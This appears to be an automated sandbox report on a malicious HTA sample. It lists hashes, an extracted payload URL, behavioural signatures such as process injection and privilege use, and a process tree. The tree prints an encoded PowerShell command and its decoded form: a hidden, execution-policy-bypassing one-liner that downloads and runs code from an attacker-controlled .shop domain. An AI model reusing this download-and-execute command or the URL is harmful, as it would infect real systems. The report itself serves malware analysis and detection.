Resubmissions
07-01-2025 03:19
250107-dt8tqs1rc1 1007-01-2025 03:10
250107-dpd4ka1pdv 1007-01-2025 03:09
250107-dnmz3stlcp 1007-01-2025 02:39
250107-c5hk9asmbl 10Analysis
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max time kernel
60s -
max time network
62s -
platform
windows11-21h2_x64 -
resource
win11-20241007-en -
resource tags
arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system -
submitted
07-01-2025 03:10
Static task
static1
Behavioral task
behavioral1
Sample
aa845a8fb4ab38aebe6a16a2a8f80ca4467ac0991d3eef4d8a10bdf97dedb1e9.hta
Resource
win10v2004-20241007-en
General
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Target
aa845a8fb4ab38aebe6a16a2a8f80ca4467ac0991d3eef4d8a10bdf97dedb1e9.hta
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Size
1.6MB
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MD5
dbf37b54acb5e3b86a3dc93ec3b7dc24
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SHA1
65100e3e23406a9f92880e202e4b006fd39f33d6
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SHA256
aa845a8fb4ab38aebe6a16a2a8f80ca4467ac0991d3eef4d8a10bdf97dedb1e9
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SHA512
0f785989935702715872e6621ecf9ad003f5d3d9eb8396a32fa5c0506f636a979e5c98c292885207124029c05c6dd88df33d2b91b028cdb5055ce9000dac7ae9
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SSDEEP
24576:g/ISwmcPODvnBj3SoGDw/ISwmcPODvnBjc/ISwmcPODvnBj1/ISwmcPODvnBjf:g/IMcAYoGc/IMcAu/IMcAn/IMcAN
Malware Config
Extracted
https://klipdiheqoe.shop/ruwkl.png
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 3108 created 3328 3108 powershell.exe 52 -
Blocklisted process makes network request 3 IoCs
flow pid Process 2 3108 powershell.exe 4 2036 powershell.exe 5 2036 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 3108 powershell.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 3108 set thread context of 2036 3108 powershell.exe 81 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mshta.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 3580 powershell.exe 3580 powershell.exe 3108 powershell.exe 3108 powershell.exe 3108 powershell.exe 3108 powershell.exe 3108 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 3580 powershell.exe Token: SeDebugPrivilege 3108 powershell.exe Token: SeDebugPrivilege 3108 powershell.exe -
Suspicious use of WriteProcessMemory 16 IoCs
description pid Process procid_target PID 1388 wrote to memory of 3580 1388 mshta.exe 77 PID 1388 wrote to memory of 3580 1388 mshta.exe 77 PID 1388 wrote to memory of 3580 1388 mshta.exe 77 PID 3580 wrote to memory of 3108 3580 powershell.exe 79 PID 3580 wrote to memory of 3108 3580 powershell.exe 79 PID 3580 wrote to memory of 3108 3580 powershell.exe 79 PID 3108 wrote to memory of 2036 3108 powershell.exe 81 PID 3108 wrote to memory of 2036 3108 powershell.exe 81 PID 3108 wrote to memory of 2036 3108 powershell.exe 81 PID 3108 wrote to memory of 2036 3108 powershell.exe 81 PID 3108 wrote to memory of 2036 3108 powershell.exe 81 PID 3108 wrote to memory of 2036 3108 powershell.exe 81 PID 3108 wrote to memory of 2036 3108 powershell.exe 81 PID 3108 wrote to memory of 2036 3108 powershell.exe 81 PID 3108 wrote to memory of 2036 3108 powershell.exe 81 PID 3108 wrote to memory of 2036 3108 powershell.exe 81
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3328
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C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\aa845a8fb4ab38aebe6a16a2a8f80ca4467ac0991d3eef4d8a10bdf97dedb1e9.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1388 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AawBsAGkAcABkAGkAaABlAHEAbwBlAC4AcwBoAG8AcAAvAHIAdQB3AGsAbAAuAHAAbgBnACcAKQApAGAAIgAiACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgA=3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3580 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://klipdiheqoe.shop/ruwkl.png'))"4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3108
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"2⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
PID:2036
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
1KB
MD5e080d58e6387c9fd87434a502e1a902e
SHA1ae76ce6a2a39d79226c343cfe4745d48c7c1a91a
SHA2566fc482e46f6843f31d770708aa936de4cc32fec8141154f325438994380ff425
SHA5126c112200ef09e724f2b8ab7689a629a09d74db2dcb4dd83157dd048cbe74a7ce5d139188257efc79a137ffebde0e3b61e0e147df789508675fedfd11fcad9ede
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Filesize
15KB
MD5343aefc6551a7223afbefdd14bc7969f
SHA1427aa82ae300c98c5b29da94a30a3ddc477af7e5
SHA25658ccf1930e31d207228fbd7906f1bd413eb27720164a898da13b77c3bae0b5c3
SHA5121dc63bca8f68d0465affb9e60f4b5268ae00d7b387dda2ddfdf848dec872e7dac1c8ff73bb5881e903ecb8a3d48e14c53a250c428e64c669c66ba27197968b51
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82